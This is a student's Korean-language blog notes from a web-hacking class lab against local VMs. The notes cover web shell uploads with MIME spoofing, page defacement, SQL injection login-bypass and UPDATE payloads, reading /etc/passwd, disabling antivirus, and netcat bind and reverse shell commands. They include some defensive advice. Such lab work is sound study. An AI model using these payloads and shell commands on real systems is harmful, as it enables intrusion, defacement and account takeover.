공부/Application Security

9월6일 웹해킹 3

마준123 2022. 9. 6. 09:34

*Web Shell

 관리자가 SSH,FTP를 이용하지 않고 웹브라우저로 웹서버를 관리하기 위한 도구 (GUI로 설정 가능)

 공격자들이 웹쉘을 웹서버에 업로드해서 원격으로 조종

 편리함을 추구하는건 보안의 가장 큰 적!

 

*웹쉘을 업로드 하는 방법

 게시판 취약점(파일 업로드)

 웹에디터 취약점(이미지 업로드)

 HTTP 1.1취약점 (PUT)

 기타 다양한 해킹 공격 (SQL injection, XSS등)

 

*웹쉘 대응 방법

 1) 웹쉘을 업로드 하지 못하게 해야함

 2) 이미 업로드 된 웹쉘은 동작하지 못하게 해야함 ---->압축해서 보관, 읽기만 가능한 스토리지에 보관

 3) 업로드한 웹쉘의 위치를 찾을 수 없도록 위치경로를 알려주지 않거나, 파일 이름을 바꾸는 방법

 4) 웹쉘 대응 보안 솔루션을 배치 해야함

 

*Threat map

 보안회사들이 운영하는 실시간 공격 신호 보여주는 맵

 엄청난 의미를 갖고있지는 않지만 유행하는 공격방법등 근황을 알기 좋을 것 같다.

 

*웹쉘의 Content-Type은 Text/plain 이지만, Proxy도구(burp suite)를 이용해서 image/jpeg라고 속임

 --------->Client가 보내는 정보를 그대로 신뢰하는경우, 실제 들어있는 파일은 다른 것(웹쉘) 임.

 

* Base64를 이용하여 비밀번호를 인코딩 하는경우 --->ISMS-P인증 심사에서 결함으로 판단(안전하지 않은 것으로 봄)

-----------------------------------------------------------------------------------------------------------------------------------------------------------

 

실습준비

* VMware Player - Player - File - open

 압축푼 폴더 찾아가기

 windows server 2003 enterprise edition.vmx를 선택하고 열기

 플레이 버추얼머신 클릭

 i copied it, yes

 부팅시작

 로그인 : administrator / hp12345

 설치안함, 업데이트안함 클릭

 밖에있는 Windows10에서 검색창에 internet explorer를 실행

 도구 호환성보기 설정 추가 닫기

 

http://192.168.5.141/uploadfile/browser.jsp

웹쉘

 이게 웹쉘이라고 합니다.

 [..]을 누르면 상위 디렉토리로 이동하고

 index.jsp 파일이 보이면 여기가 웹서버 루트 디렉토리임

 자바 스크립트로 짜여져있는데 왜 php폴더가 있나 했더니 안에 있는 파일들이 다 웹쉘이라고한다.

웹쉘들

 

* Deface 실습 : 웹사이트의 첫 페이지를 바꾸는 공격

 일단 pixabay.com 에 들어가서 디페이스에 사용할 무료 이미지 다운받자ㅋㅋ

내가 고른 이미지

 1) 최상위 디렉토리에서 찾아보기 - 사진선택 - 업로드 버튼 눌러서 업로드하자

 2) index.jsp 맨 오른쪽에 에디트 버튼 클릭

 3)body태그 안쪽에 <DIV style="position:absolute; left:200; top:90; Z-index:2;"> <img src="hacker.jpg"></DIV> 입력

바디 안쪽에 들어간 DIV태그

 4) 백업체크 해지하고 세이브

과거 crt모니터가 떠오르는 인상적인 해상도ㅋㅋㅋㅋ

5)디페이스 성공~!

 

-----------------------------------------------------------------------------------------------------------------

 

* SQL 인젝션

 첫 페이지 에서만 Login Bypass 공격이 가능함

 ID와 PW를 넣으면 Select 문이 만들어짐 ---->DB에 전달됨

 로그인 SELECT문 예상 : select id,pw from ???? where id = '         ' and pw='               '

 

 1단계 ) ID를 알아내라 ---> 자유 게시판에서 webmaster 라는 계정이 있음을 알 수 있음

 

select id,pw from ???? where id = 'webmaster' and pw='' or 1=1 ' 식으로 접근하면 될거같다

 ID:webmaster

 PW:' or 1=1

ㅇㅋ 실패했다

 

알고보니 첫 페이지에서만 가능하다고 한다,난 자유게시판에서 해서 안됨 (첫 페이지 에서만 Login Bypass 공격이 가능함이 이 의미였다)

 

' or 1=1하고 주석처리 --를 해보았는데

뭐고이거

안된다

띄어쓰기도 넣어줘야 하나보다

로그인 성공~

로그인 성공~~!

 

ID에도 한번 넣어보자

ID : ' or 1=1 --'

성공~
어서오고~

이유는 모르겠지만 아까는 그림만 나오더니 지금은 먼 아바타가 나온다

vm쪽 os에는 플래시가 깔려있어서 완벽하게 나온다 ㅋㅋ 감성
로그인 후

 

* 그런데 왜 자꾸 superman 으로 로그인 되는 걸까?

 user table의 맨 위에 있는 계정이 superman 이기 때문

 정확하게 지정되지 않는 경우 테이블의 맨 위의 레코드(row)로 매칭됨 (DB 속성)

 가장 위에 있는 레코드는 모니터링 용 계정으로 설정해야함. ex)admin을 맨 위에 배치 -->실제 권한은 없고 모니터링 되는 대상 (이름만 admin이고 공격자에게 Fake 치는 것)

 

* 만약 꼭 webmaster로 로그인을 하려면?

 id = 'webmaster' and 1=1--' 로 로그인하면 웹마스터가 나온다

근데 사실 이부분은 잘 이해가 안가서 생각을 좀 해봐야할거같다.

가 아니라 사실 뒤에 and 1=1도 필요없고

그냥 

ID = webmaster' -- 만 해도 웹마스터로 로그인이 된다. ( 사실 and 1=1는 사족이었던것)

강사님이 써주신 문장

 실제 사이트에 이런짓을 하면 탐지해서 IP추적, 내용증명, 고소 (형사소송: 5천만원, 민사소송: 손해배상)

 어쨌든 실제 사이트에 공격하면 인실좇 당할거니까 하지말라고 하신다.

-------------------------------------------------------------------------------------------------------------------------------------------------

 

* Blind SQL injection

 DB구조 등을 모르는 살태에서 SQL 인젝션을 하는 것

 SQL문이 거짓이 되도록 만들어서 에러메시지가 발생됨 ----> DB이름, 테이블이름, 컬럼이름 등을 알아내는 것

 A부터 Z까지, 0부터 1까지 대입을 해봄 --->결과가 하나 다른것이 있다면, 그것이 정답

 

*실습 ) Argo Club hompage에 ID 넣는 부분에 입력

 ' having 1=1 --

 그럼 앞에 Group by가 없기때문에 HTTP Status 500 에러가 뜬당

 이걸로 DB명을 예상해본다고 한다

 

내가 그린거 아님

 이걸 토대로 정확한 SQL문을 예상해보면

Select userid,passwd from tbl_member where userid='     ' and passwd='           ';

(그런데 userid랑 passwd가 컬럼 명인지는 어케알았지?) 걍 내가 집중을 안한거였누

 

질문 했더니 설명 해 주셨다

 

 

 * webmaster의 패스워드를 1234로 바꾸려면 아이디에

 ' UPDATE tbl_member SET passwd=1234 --

 을 넣으면 될거같다 느낌이

성공~

 게림~~ 성공

 없는 아이디라는 메시지가 한번 뜨고 다시 ㄹ로그인하면 바뀌어있다!

 그런데 모든사람들 비밀번호를 1234로 바꿔버린거같아서 좀 그렇긴 하다

 

 강사님방법

강사님 방법

* 웹쉘

 웹쉘 실습을 하려면, 실시간 감시를 꺼야함

 윈도우 보안 센터에서 위협 감시의 실시간 탐지를 끄거나, 백신이 설치되어 있으면 그것도 꺼야함

 http://192.168.5.141/uploadfile/browser.jsp 들어가서 PHP파일(웹쉘) 5개를 다운받자(인터넷에 공유하면 바로 쇠고랑)

 vm을 새로켜서 우분투 dvwa를 가동한다

 192.168.5.128로 접속

1단계)

 Upload 메뉴 클릭

아무거나 테스트 용으로 아까 받은 사진올림

 ../는 한 수준 위로 올라가라는 의미

 http://192.168.5.128/dvwa/vulnerabilities/upload/#

 에서 2수준 위로 올라가서 저기 나온걸 붙이면 됨

 http://192.168.5.128/dvwa/hackable/uploads/hacker.jpg

 들어가면 사진이 업로드 되어있다.

-------------------------------------------------------------------------------------------------------------

 

2단계)

 php-backdoor.php 파일 업로드!

 http://192.168.5.128/dvwa/hackable/uploads/qsd-php-backdoor.php 접속!

php-backdoor.php

Execute Shell Command (safe mode is off): 에 cat /etc/passwd(리눅스 명령어) 를 넣고 GO 한다

뭔진 모르겠지만 그럴듯 한 화면

3단계) c99shell.php 파일 업로드 해보기

 이거 안돼서 뭐 다른거로 했는데

중간에 프록시를 켜는 바람에 작성했던 내용들이 전부 날아가버렸다 ㅠㅠ

 

강사님이 새로운 웹쉘 가져와서 다른 방향으로 했다.

어쨌든 용량이 커서 업로드 안된다는 경우가 있었는데 그부분은 관리자 모드 들어가서 max 용량을 늘려주면 간단하게 끝나는 경우였고

 

이제 Medium으로 난이도를 올렸는데 확장자가 맞지 않는다며 업로드가 되지 않았다

그래서 프록시를 켜고 바꿔보려했는데 뭘 바꿔야 할지 몰라서 고민하다가 일단 사진 하나 보내보고 형식이 어케다른지 확인한 다음 복사해서 php보낼때 바꿔서 보내니 업로드가 되었다.

드래그 한 부분주목

-----------------------------------------------------------------------------------------------------------------------------------------------

http://192.168.5.128/dvwa/hackable/uploads/b374k-2.8.php

 

b374k

* 업로드는 웹쉘만 있는 것은 아님

 직접 실행파일을 업로드 하는 것 : 세션을 직접 연결 하는 것 --->원격 조종을 해서 시스템에 영향을 주는 행위

 대표적인 도구 : RAT ( Remote Access Trojan의 줄입말 ) ----> Victim에 몰래 업로드 하고 원격으로 연결하는 방법

 ex) Netcat : 네트워크를 몰래 다니는 고양이 : nc.exe(윈도우용), nc(리눅스용)

 

 방식

 백도어방식

 트로잔 방식

 

 1)백도어방식

 미리 victim 의 관리자 pw등을 알아낸 후, 

 victim host에 백도어를 실행하고, attacker는 victim host의 backdoor에 접근해서 연결하는 방식

 

 실습)

 Window 2003 : Server : Victim

 vm 에 켜둔 윈도우 서버 2000가서

 cmd > nc -l -p 8000 -e cmd.exe

      Server : 8000(-p : port) 를 열고 기다림 (-l : listening)

      Victim : -e(binary를 제공), cmd.exe의 권한을 넘겨주겠다.

cmd > cd \cmd > wine -l -p 8000 -e cmd.exe 원래 이름은 nc.exe인데 강사님이 이름을 wine.exe로 변경해놓아서 이걸써야한다

대기중

 이제 이 상태로 attarker역할인 우분투로 간다

 터미널 열고

 cd /

 nc 192.168.5.141 8000입력

접속에 성공한 모습

who am i 를 입력하자 어드민이라고 한다.

 

블핑

추가로 id가 blackpink고 비밀번호가 icecream 인 계정을 생성한 모습

 근데 안돼서 다시해보았다

 

마준 만듬
성공한 모습

마준이 생성된 걸 알 수 있다.

 

 

마준을 어드민으로 올리는 명령어를 써보려는 중인데 안된다.

여러번 입력해도 바뀌어있지 않다...

모르겠다...

알고보니 성공, 다른사람이 질문해줘서 나도 알았다 ㅋㅋ

 

2)Reverse Connection 방법

 왜 RAT을 쓰냐?

 Backdoor 방식은 공격자 ---->방화벽----->희생자 처럼 중간에 방화벽이 존재하기때문에 80포트 또는 443과 같은 미리 열어둔 포트가 아니면 접속 불가능

  하지만 Rat은 공격자<------방화벽<-----희생자 이기 때문에 방화벽의 특성상, 내부망에서 외부망(인터넷)으로 나가는 트래픽은 막지 않음(막으면 인터넷이 안됨)

 Rat을 이용해서 내부망에서 외부망으로 연결하는 방식을 사용함

  

 실습)

 Ubuntu : Attacker : Server 

 $nc -l -p 5678 (포트 열고 기다리기)

 

 Windows 2000 : victim : Client

 cmd > wine 192.168.5.128 5678 -e cmd.exe

연결 후 우분투 화면

하면 연결 성공~ 딱히 인터페이스 자체는 backdoor 방식이랑 다를건 없다

 

wine 이라는 프로그램은 백도어도 가능하고 Rat도 가능한거같다.

'공부 > Application Security' 카테고리의 다른 글

9월13일 웹해킹 6  (2) 2022.09.13
9월 8일 웹해킹 5  (0) 2022.09.08
9월7일 웹해킹 4  (0) 2022.09.07
9월 5일 웹해킹 2  (0) 2022.09.05
9월 2일 웹해킹 1  (2) 2022.09.02